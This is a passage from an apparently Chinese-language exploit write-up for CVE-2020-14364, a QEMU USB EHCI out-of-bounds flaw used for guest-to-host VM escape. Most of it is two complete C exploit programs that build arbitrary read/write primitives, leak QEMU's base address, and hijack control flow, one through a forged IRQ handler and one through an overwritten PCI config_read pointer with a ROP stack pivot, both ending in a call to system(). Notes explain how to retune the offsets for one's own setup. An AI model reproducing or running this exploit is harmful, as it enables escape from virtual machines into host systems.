,使得len变成0x1018 - 最后越界读,就能读取目标地址的内容
unsignedlongarb_read(uint64_ttarget_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010); //越界写
*(unsignedlong*)(data_buf) =0x2000000000000080; // set setup[0] -> USB_DIR_IN ??
unsignedinttarget_offset=target_addr-data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset-0x1018);// 这里offset为0x8,是因为从data_buf-8 处开始写。
do_copy_read(); //越界读
return*(unsignedlong*)(data_buf);
}
任意写原语
- 首先设置越界长度0x1010,同上操作
- 越界写,将
setup_len
设置成目标偏移-0x1010
,usb_packet_copy
后面的s->setup_index += len
操作后,s->setup_index
就变成目标偏移offset
。将setup_index
设置成目标偏移+0x8
, 经过下次越界写的len = s->setup_len - s->setup_index => len =(offset+0x8)-offset=0x8
,只修改目标地址8个字节的内容 - 再次越界写,修改目标地址的内容
voidarb_write(uint64_ttarget_addr, uint64_tpayload)
{
setup_state_data();
//首先设置越界长度0x1010
set_length(0x1010, USB_DIR_OUT);
//目标地址偏移
unsignedlongoffset=target_addr-data_buf_addr;
//设置setup_index和 setup_len
do_copy_write(0, offset+0x8, offset-0x1010);
//修改目标地址内容
*(unsignedlong*)(data_buf) =payload;
do_copy_write(0, 0xffff, 0);
}
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
structEHCIqh*qh;
structEHCIqtd*qtd;
structohci_td*td;
char*dmabuf;
char*setup_buf;
unsignedchar*mmio_mem;
unsignedchar*data_buf;
unsignedchar*data_buf_oob;
uint32_t*entry;
uint64_tdev_addr;
uint64_tdata_buf_addr;
uint64_tUSBPort_addr;
#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8
typedefstructUSBDeviceUSBDevice;
typedefstructUSBEndpointUSBEndpoint;
structUSBEndpoint {
uint8_tnr;
uint8_tpid;
uint8_ttype;
uint8_tifnum;
intmax_packet_size;
intmax_streams;
boolpipeline;
boolhalted;
USBDevice*dev;
USBEndpoint*fd;
USBEndpoint*bk;
};
structUSBDevice {
int32_tremote_wakeup;
int32_tsetup_state;
int32_tsetup_len;
int32_tsetup_index;
USBEndpointep_ctl;
USBEndpointep_in[15];
USBEndpointep_out[15];
};
typedefstructEHCIqh {
uint32_tnext; /* Standard next link pointer */
/* endpoint characteristics */
uint32_tepchar;
/* endpoint capabilities */
uint32_tepcap;
uint32_tcurrent_qtd; /* Standard next link pointer */
uint32_tnext_qtd; /* Standard next link pointer */
uint32_taltnext_qtd;
uint32_ttoken; /* Same as QTD token */
uint32_tbufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedefstructEHCIqtd {
uint32_tnext; /* Standard next link pointer */
uint32_taltnext; /* Standard next link pointer */
uint32_ttoken;
uint32_tbufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
/* 板子操作 */
uint64_tvirt2phys(void*p)
{
uint64_tvirt= (uint64_t)p;
// Assert page alignment
intfd=open("/proc/self/pagemap", O_RDONLY);
if (fd==-1)
die("open");
uint64_toffset= (virt/0x1000) *8;
lseek(fd, offset, SEEK_SET);
uint64_tphys;
if (read(fd, &phys, 8 ) !=8)
die("read");
// Assert page present
phys= (phys& ((1ULL<<54) -1)) *0x1000+(virt&0xfff);
returnphys;
}
voiddie(constchar*msg)
{
perror(msg);
exit(-1);
}
/* 这俩函数板子操作 */
voidmmio_write(uint32_taddr, uint32_tvalue)
{
*((uint32_t*)(mmio_mem+addr)) =value;
}
uint64_tmmio_read(uint32_taddr)
{
return*((uint64_t*)(mmio_mem+addr));
}
voidinit(){
/* 板子操作,注意resource0前面的数字要调试得到 */
/* MMIO就是通过将外围设备映射到内存空间,便于CPU的访问 */
intmmio_fd=open("/sys/devices/pci0000:00/0000:00:01.2/resource0", O_RDWR|O_SYNC);
if (mmio_fd==-1)
die("mmio_fd open failed");
/* 映射到usb 设备的内存 */
mmio_mem=mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem==MAP_FAILED)
die("mmap mmio_mem failed");
/* 映射一块dmabufs */
dmabuf=mmap(0, 0x3000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (dmabuf==MAP_FAILED)
die("mmap");
/* 上锁,防止被调度 */
mlock(dmabuf, 0x3000);
entry=dmabuf+4;
qh=dmabuf+0x100;
qtd=dmabuf+0x200;
setup_buf=dmabuf+0x300;
data_buf=dmabuf+0x1000;
data_buf_oob=dmabuf+0x2000;
}
voidreset_enable_port(){
/* 对usb设备0x64偏移处进行写入操作,0x64 的偏移对应到 portsc
对该字段写操作会调用到ehci_port_write */
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
//这个函数在上面分析过了,相当于告诉qemu我参数设置好了,可以触发漏洞函数了
voidset_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP|USBCMD_PSE); // usbcmd
sleep(1);
}
voidset_qh(){
qh->epchar=0x00;
qh->token=QTD_TOKEN_ACTIVE;
qh->current_qtd=virt2phys(qtd);
}
voidinit_state(){
//为了能走到漏洞函数那设置的条件
reset_enable_port();
//同上
set_qh();
//设置越界长度
setup_buf[6] =0xff;
setup_buf[7] =0x0;
/* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度
需要进入do_token_setup 需要通过设置qtd->token值 */
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_SETUP<<QTD_TOKEN_PID_SH|8<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(setup_buf);
*entry=virt2phys(qh)+0x2;
set_EHCIState();
}
//设置越界长度,调用do_token_setup
voidset_length(uint16_tlen,uint8_toption){
reset_enable_port();
set_qh();
setup_buf[0] =option;
setup_buf[6] =len&0xff;
setup_buf[7] = (len>>8 ) &0xff;
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_SETUP<<QTD_TOKEN_PID_SH|8<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(setup_buf);
set_EHCIState();
}
//越界读,调用do_token_out
voiddo_copy_read(){
reset_enable_port();
set_qh();
//设置token进入do_token_in设置p->iov.size
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_IN<<QTD_TOKEN_PID_SH|0x1e00<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(data_buf);
qtd->bufptr[1] =virt2phys(data_buf_oob);
set_EHCIState();
}
//越界写,调用do_token_in
voiddo_copy_write(intoffset, unsignedintsetup_len, unsignedintsetup_index){
reset_enable_port();
set_qh();
*(unsignedlong*)(data_buf_oob+offset) =0x0000000200000002; // 覆盖成原先的内容
*(unsignedint*)(data_buf_oob+0x8+offset) =setup_len;
*(unsignedint*)(data_buf_oob+0xc+offset) =setup_index;
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_OUT<<QTD_TOKEN_PID_SH|0x1e00<<QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] =virt2phys(data_buf);
qtd->bufptr[1] =virt2phys(data_buf_oob);
set_EHCIState();
}
voidsetup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
//任意写
voidarb_write(uint64_ttarget_addr, uint64_tpayload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsignedlongoffset=target_addr-data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsignedlong*)(data_buf) =payload;
do_copy_write(0, 0xffff, 0);
}
//任意读
unsignedlongarb_read(uint64_ttarget_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsignedlong*)(data_buf) =0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsignedinttarget_offset=target_addr-data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset-0x1018);
do_copy_read(); // oob read
return*(unsignedlong*)(data_buf);
}
intmain()
{
init();
/* 修改当前进程的操作端口权限,为三时可以读写端口 */
iopl(3);
/*I/O 0xc0c0上写入16位数据 0*/
outw(0,0xc080);
/* 写0,0xc0e0端口*/
outw(0,0xc0a0);
outw(0,0xc0c0);
//给上面那三个端口写数据是干嘛的?
sleep(3);
/* 设置触发漏洞环境 */
init_state();
/* 设置越界长度 */
set_length(0x2000, USB_DIR_IN);
/* 越界读一次,为了得到基址 */
do_copy_read();
structUSBDevice*usb_device_tmp=data_buf+0x4;
structUSBDeviceusb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
dev_addr=usb_device.ep_ctl.dev;
data_buf_addr=dev_addr+0xdc;
USBPort_addr=dev_addr+0x78;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
printf("USBPort_addr: 0x%llx\n", USBPort_addr);
uint64_t*tmp=dmabuf+0x24f4+8;
longlongleak_addr=*tmp;
if(leak_addr==0){
printf("INIT DOWN,DO IT AGAIN\n");
return0;
}
longlongbase=leak_addr-0xc40d90; //maybe wrong
uint64_tsystem_plt=base+0x290D30; //maybe wrong
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);
//读取USBDevice->port的内容就能获得EHCIState->ports 的地址
unsignedlongUSBPort_ptr=arb_read(USBPort_addr);
//减去偏移得到 EHCIState的地址
unsignedlongEHCIState_addr=USBPort_ptr-0x540;
//进而得到EHCIState->irq地址
unsignedlongirq_addr=EHCIState_addr+0xc0;
//伪造一个irq地址
unsignedlongfake_irq_addr=data_buf_addr; //dev_addr + 0xdc;
//保存原来的irq
unsignedlongirq_ptr=arb_read(irq_addr);
printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);
printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);
printf("irq_addr: 0x%llx\n", irq_addr);
printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);
printf("irq_ptr: 0x%llx\n", irq_ptr);
/*
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
*/
//构造 fake_irq
//设置越界长度为0x500然后设定out
setup_state_data();
*(unsignedlong*)(data_buf+0x28) =system_plt; // handler 填充成system@plt地址
*(unsignedlong*)(data_buf+0x30) =dev_addr+0xdc+0x100; //opaque填充成payload的地址
*(unsignedlong*)(data_buf+0x38) =0x3; //n
*(unsignedlong*)(data_buf+0x100) =0x636c616378; // "xcalc"
//这个越界写是干嘛的??
do_copy_write(0, 0xffff, 0xffff);
//利用任意写将EHCIState->irq内容填充为伪造的irq地址
arb_write(irq_addr, fake_irq_addr);
// write back irq_ptr
arb_write(irq_addr, irq_ptr);
//mmio 读写触发ehci_update_irq -> qemu_set_irq,最终执行system("xcalc"),完成利用。
/*
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
*/
};
第二种思路
关于任意读写原语的部分和上面的一样,这一利用手法主要利用qemu启动时加载的qxl-vga设备,配置在上面有
通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址
这点和上面的利用一样,都是通过ep-ctl得到USBdevice对象的地址,从而得到对象中其他部分的地址
- 利用任意读泄露data_buf后面的内存数据,查找
"qxl-vga"
字符串,就能得到PCIDevice->name
的地址,减去偏移得到PCIDevice
结构体地址
structPCIDevice {
[ ... ]
PCIReqIDCacherequester_id_cache;
charname[64]; // ->保存设备的名字,"qxl-vga"
PCIIORegionio_regions[PCI_NUM_REGIONS];
AddressSpacebus_master_as;
MemoryRegionbus_master_container_region;
MemoryRegionbus_master_enable_region;
/* do not access the following fields */
PCIConfigReadFunc*config_read; //这里
PCIConfigWriteFunc*config_write; //这里
/* Legacy PCI VGA regions */
MemoryRegion*vga_regions[QEMU_PCI_VGA_NUM_REGIONS];
boolhas_vga;
[ ... ]
};
- 利用任意写,修改
config_read
保存的函数指针,在虚拟机里读取pci配置寄存器(调用system("lspci")
) 就可以触发config_read
指向的函数,原本调用pci_default_read_config
,我们可以将函数指针修改成system@plt
- 上一步已经可以控制rip,但是传参有问题,我们先来看看config_read指向的函数被调用时传递的参数
大部分都是赋值的,然后找到了一个调用,是这个
uint32_tpci_host_config_read_common(PCIDevice*pci_dev, uint32_taddr,
uint32_tlimit, uint32_tlen)
{
uint32_tret;
pci_adjust_config_limit(pci_get_bus(pci_dev), &limit); //比2.11多了这个函数,使得直接把pyload布置在pci_dev变得不可行
if (limit<=addr) {
return~0x0;
}
assert(len<=4);
/* non-zero functions are only exposed when function 0 is present,
* allowing direct removal of unexposed functions.
*/
if (pci_dev->qdev.hotplugged&&!pci_get_function_0(pci_dev)) {
return~0x0;
}
ret=pci_dev->config_read(pci_dev, addr, MIN(len, limit-addr)); //到这里调用,也就是说上面的函数是无法避免被运行的
trace_pci_cfg_read(pci_dev->name, PCI_SLOT(pci_dev->devfn),
PCI_FUNC(pci_dev->devfn), addr, ret);
returnret;
}
=====================================================================================
staticinlinePCIBus*pci_get_bus(constPCIDevice*dev)
{
returnPCI_BUS(qdev_get_parent_bus(DEVICE(dev)));
}
=====================================================================================
#define PCI_BUS(obj) OBJECT_CHECK(PCIBus, (obj), TYPE_PCI_BUS)
======================================================================================
#define OBJECT_CHECK(type, obj, name) \
((type *)object_dynamic_cast_assert(OBJECT(obj), (name), \
__FILE__, __LINE__, __func__))
====================================================================================
#define OBJECT(obj) \
((Object *)(obj)) //这里
涉及到寻址操作,因为我们覆盖了dev
为payload
,所以这个操作很可能会访问非法地址,所以这里不能放payload
同样的,我们甚至不能直接将config_read
函数指针指向system
我们可以将其指向其他地方,我们可以用rop链,将payload
放栈上,然后调用system
栈转移利用xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;
可以将rax的值给rbp后,再通过leave指令(相当于mov rsp, rbp; pop rbp;),间接将rax的值赋给rsp,完成栈切换。
newrsp===> [0x00] : poprax; ret; 将system的plt设为rax
[0x08] : system@plt
[0x10] : poprdi; ret; 将"xcalc"赋值为rdi,作为调用system的第一个参数
/-- [0x18] : rsp+0x30
| [0x20] : subal, 0; callrax; 调用rax,也就是system
| [0x28] :
|-> [0x30] : "xcalc"
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
structEHCIqh*qh;
structEHCIqtd*qtd;
structohci_td*td;
char*dmabuf;
char*setup_buf;
unsignedchar*mmio_mem;
unsignedchar*data_buf;
unsignedchar*data_buf_oob;
uint32_t*entry;
uint64_tdev_addr;
uint64_tdata_buf_addr;
uint64_tUSBPort_addr;
#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0) // run / Stop
#define USBCMD_PSE (1 << 4) // Periodic Schedule Enable
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8
typedefstructUSBDeviceUSBDevice;
typedefstructUSBEndpointUSBEndpoint;
structUSBEndpoint {
uint8_tnr;
uint8_tpid;
uint8_ttype;
uint8_tifnum;
intmax_packet_size;
intmax_streams;
boolpipeline;
boolhalted;
USBDevice*dev;
USBEndpoint*fd;
USBEndpoint*bk;
};
structUSBDevice {
int32_tremote_wakeup;
int32_tsetup_state;
int32_tsetup_len;
int32_tsetup_index;
USBEndpointep_ctl;
USBEndpointep_in[15];
USBEndpointep_out[15];
};
typedefstructEHCIqh {
uint32_tnext; /* Standard next link pointer */
/* endpoint characteristics */
uint32_tepchar;
/* endpoint capabilities */
uint32_tepcap;
uint32_tcurrent_qtd; /* Standard next link pointer */
uint32_tnext_qtd; /* Standard next link pointer */
uint32_taltnext_qtd;
uint32_ttoken; /* Same as QTD token */
uint32_tbufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedefstructEHCIqtd {
uint32_tnext; /* Standard next link pointer */
uint32_taltnext; /* Standard next link pointer */
uint32_ttoken;
uint32_tbufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
uint64_tvirt2phys(void*p)
{
uint64_tvirt= (uint64_t)p;
// Assert page alignment
intfd=open("/proc/self/pagemap", O_RDONLY);
if (fd==-1)
die("open");
uint64_toffset= (virt/0x1000) *8;
lseek(fd, offset, SEEK_SET);
uint64_tphys;
if (read(fd, &phys, 8 ) !=8)
die("read");
// Assert page present
phys= (phys& ((1ULL<<54) -1)) *0x1000+(virt&0xfff);
returnphys;
}
voiddie(constchar*msg)
{
perror(msg);
exit(-1);
}
voidmmio_write(uint32_taddr, uint32_tvalue)
{
*((uint32_t*)(mmio_mem+addr)) =value;
}
uint64_tmmio_read(uint32_taddr)
{
return*((uint64_t*)(mmio_mem+addr));
}
voidinit(){
intmmio_fd=open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR|O_SYNC);
if (mmio_fd==-1)
die("mmio_fd open failed");
mmio_mem=mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem==MAP_FAILED)
die("mmap mmio_mem failed");
dmabuf=mmap(0, 0x3000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (dmabuf==MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
entry=dmabuf+4;
qh=dmabuf+0x100;
qtd=dmabuf+0x200;
setup_buf=dmabuf+0x300;
data_buf=dmabuf+0x1000;
data_buf_oob=dmabuf+0x2000;
}
voidreset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
voidset_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP|USBCMD_PSE); // usbcmd
sleep(1);
}
voidset_qh(){
qh->epchar=0x00;
qh->token=QTD_TOKEN_ACTIVE;
qh->current_qtd=virt2phys(qtd);
}
voidinit_state(){
reset_enable_port();
set_qh();
setup_buf[6] =0xff;
setup_buf[7] =0x0;
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_SETUP<<QTD_TOKEN_PID_SH|8<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(setup_buf);
*entry=virt2phys(qh)+0x2;
set_EHCIState();
}
voidset_length(uint16_tlen,uint8_toption){
reset_enable_port();
set_qh();
setup_buf[0] =option;
setup_buf[6] =len&0xff;
setup_buf[7] = (len>>8 ) &0xff;
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_SETUP<<QTD_TOKEN_PID_SH|8<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(setup_buf);
set_EHCIState();
}
voiddo_copy_read(){
reset_enable_port();
set_qh();
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_IN<<QTD_TOKEN_PID_SH|0x1e00<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(data_buf);
qtd->bufptr[1] =virt2phys(data_buf_oob);
set_EHCIState();
}
voiddo_copy_write(intoffset, unsignedintsetup_len, unsignedintsetup_index){
reset_enable_port();
set_qh();
*(unsignedlong*)(data_buf_oob+offset) =0x0000000200000002;
*(unsignedint*)(data_buf_oob+0x8+offset) =setup_len; //setup_len
*(unsignedint*)(data_buf_oob+0xc+offset) =setup_index;
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_OUT<<QTD_TOKEN_PID_SH|0x1e00<<QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] =virt2phys(data_buf);
qtd->bufptr[1] =virt2phys(data_buf_oob);
set_EHCIState();
}
voidsetup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
voidarb_write(uint64_ttarget_addr, uint64_tpayload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsignedlongoffset=target_addr-data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsignedlong*)(data_buf) =payload;
do_copy_write(0, 0xffff, 0);
}
unsignedlongarb_read(uint64_ttarget_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsignedlong*)(data_buf) =0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsignedinttarget_offset=target_addr-data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset-0x1018);
do_copy_read(); // oob read
return*(unsignedlong*)(data_buf);
}
intmain()
{
init();
iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);
init_state();
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read
structUSBDevice*usb_device_tmp=dmabuf+0x2004;
structUSBDeviceusb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
dev_addr=usb_device.ep_ctl.dev;
data_buf_addr=dev_addr+0xdc;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
uint64_t*tmp=dmabuf+0x24f4+8;
longlongleak_addr=*tmp;
if(leak_addr==0){
printf("INIT DOWN,DO IT AGAIN\n");
return0;
}
longlongbase=leak_addr-0xc40d90; //maybe wrong
uint64_tsystem_plt=base+0x290D30; //maybe wrong
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);
unsignedlongsearch_start_addr=data_buf_addr+0x5500;
arb_read(search_start_addr);
char*mask="qxl-vga\0";
unsignedlongfind=memmem(data_buf, 0x1f00, mask, 0x8);
unsignedlongoffset= (find&0xffffffff) - ((unsignedlong)(data_buf)&0xffffffff) +0x5500;
unsignedlongconfig_read_addr=data_buf_addr+offset+0x390;
unsignedlongpci_dev=config_read_addr-0x450;
printf("config_read_addr: 0x%llx\n", config_read_addr);
printf("pci_dev: 0x%llx\n", pci_dev);
unsignedlongpci_dev_content=arb_read(pci_dev);
unsignedlongrop_start=base+0x774ff0; //xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;
printf("pci_dev_content: 0x%llx\n", pci_dev_content);
printf("rop_start: 0x%llx\n", rop_start);
unsignedlongrsp=pci_dev+0x8; // leave -> mov rsp, rbp; pop rbp;
printf("new rsp: 0x%llx\n", rsp);
unsignedlongpop_rax=base+0x523519; // pop rax; ret; //maybe wrong
unsignedlongpop_rdi=base+0x3b51e5; // pop rdi; ret; //maybe wrong
unsignedlongcall_rax=base+0x71bd09; // sub al, 0; call rax; //maybe wrong
arb_write(rsp, pop_rax);
arb_write(rsp+8, system_plt);
arb_write(rsp+0x10, pop_rdi);
arb_write(rsp+0x18, rsp+0x30);
arb_write(rsp+0x20, call_rax);
arb_write(rsp+0x30, 0x636c616378);
arb_write(config_read_addr, rop_start);
system("lspci");
};
如果本地没打通的话那八成是system的plt地址以及加载地址没根据自己环境进行调整,
前面求到USBDevice的基址了,通过偏移得到USBDevice结构体中USBDescDevice *device
然后根据其指向的地址的值距离qemu加载地址的偏移,得到qemu加载的基址,然后通过ida得到system@plt距离qemu基址的偏移,得到system的地址
改一下上面标注的maybe wrong处的数据值就可以
前两思路的参考
CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路
后期将继续更新后两种方法,敬请期待~